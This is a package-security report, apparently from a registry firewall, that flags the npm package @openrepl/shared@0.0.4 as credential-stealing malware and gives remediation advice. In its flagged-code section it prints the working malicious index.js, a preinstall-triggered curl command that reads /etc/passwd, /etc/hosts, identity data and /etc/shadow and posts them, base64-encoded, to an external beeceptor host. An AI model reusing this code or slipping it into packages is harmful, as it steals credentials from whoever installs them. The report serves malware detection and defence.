registry / Credential exfiltration / @openrepl/shared
@openrepl/shared
This report shows the evidence for @openrepl/shared@0.0.4. 2 of 2 known versions are blocked or flagged. See all versions.
AI Security Review
scanned 2mo ago · by lpm-firewall-aiThis is concrete, unconsented install-time collection and external exfiltration of sensitive host data. The package contains no legitimate implementation that would justify this behavior.
Static reason
High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review
Trigger
npm installation, via the preinstall lifecycle hook
Impact
Exposure of system account records, host configuration, user identity, and readable shadow credentials.
Mechanism
shell-based local file and identity exfiltration over curl POST
Attack narrative
During npm installation, the preinstall hook runs index.js. It executes curl through a shell, reads local account and host files plus identity information, base64-encodes the collected output, and transmits it in an HTTP request header to an external Beeceptor endpoint.
AI rationale
This is concrete, unconsented install-time collection and external exfiltration of sensitive host data. The package contains no legitimate implementation that would justify this behavior.
Evidence
package.jsonindex.js/etc/passwd/etc/hosts/etc/shadow
Network endpoints1
youjoex.free.beeceptor.com/$(whoami)/$(hostname)/
Decision evidence
public snapshotAI called this Malicious at 99.0% confidence as Malware with low false-positive risk.
Evidence for block
- preinstall runs index.js during npm installation.
- index.js shells out through child_process.exec.
- Install-time curl POST exfiltrates passwd, hosts, identity, and readable shadow data to an external host.
Evidence against
- Only package.json and index.js are present; no legitimate package functionality is implemented.
Behavioral surface
ChildProcess
UrlStrings
Source & flagged code
9 flagged · loading sourcepackage.jsonView file
•scripts.preinstall = node index.js
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg6"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1",
"preinstall": "node index.js"
High
index.jsView file
•bounded command output exfiltration = const { exec } = require("child_process");\nconst command = `\ncurl -x post "https://youjoex.free.beeceptor.com/$(whoami)/$(hostname)/" \\n-a "$( (cat /etc/passwd /etc/hosts && id && { [ -r /etc/shadow ] && cat /etc/shadow || echo 'no shadow access'; } | base64 | tr '\\n' '.')" \\n-s -o /dev/null\n`;\nexec(command, (error, stdout, stderr) => {\nif (error) {\nconsole.error(error.message);\nreturn;\n}\nif (stderr) {\nconsole.log(stderr);\n}\nconsole.log(stdout);\n});\n\nchild_process;\nrequire("child_process");
Critical
Findings
2 Critical7 High1 Medium2 Low
CriticalCommand Output Exfiltrationindex.js
CriticalTrigger Reachable Dangerous Capabilityindex.js
HighInstall Time Lifecycle Scriptspackage.json
HighChild Processindex.js
HighFixed External Command Output Exfiltrationindex.js
HighTrigger Reachable Command Output Exfiltrationindex.js
HighKnown Malware Source Similarityindex.js
HighKnown Malware Source Fingerprint Signatureindex.js
HighAi Review Evidencepackage.json
MediumStructural Risk Force Deep Review
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @openrepl/shared@0.0.4.
The versions list below shows the verdict for each recorded version.
- Avoid installing @openrepl/shared@0.0.4. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Source advisory published: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.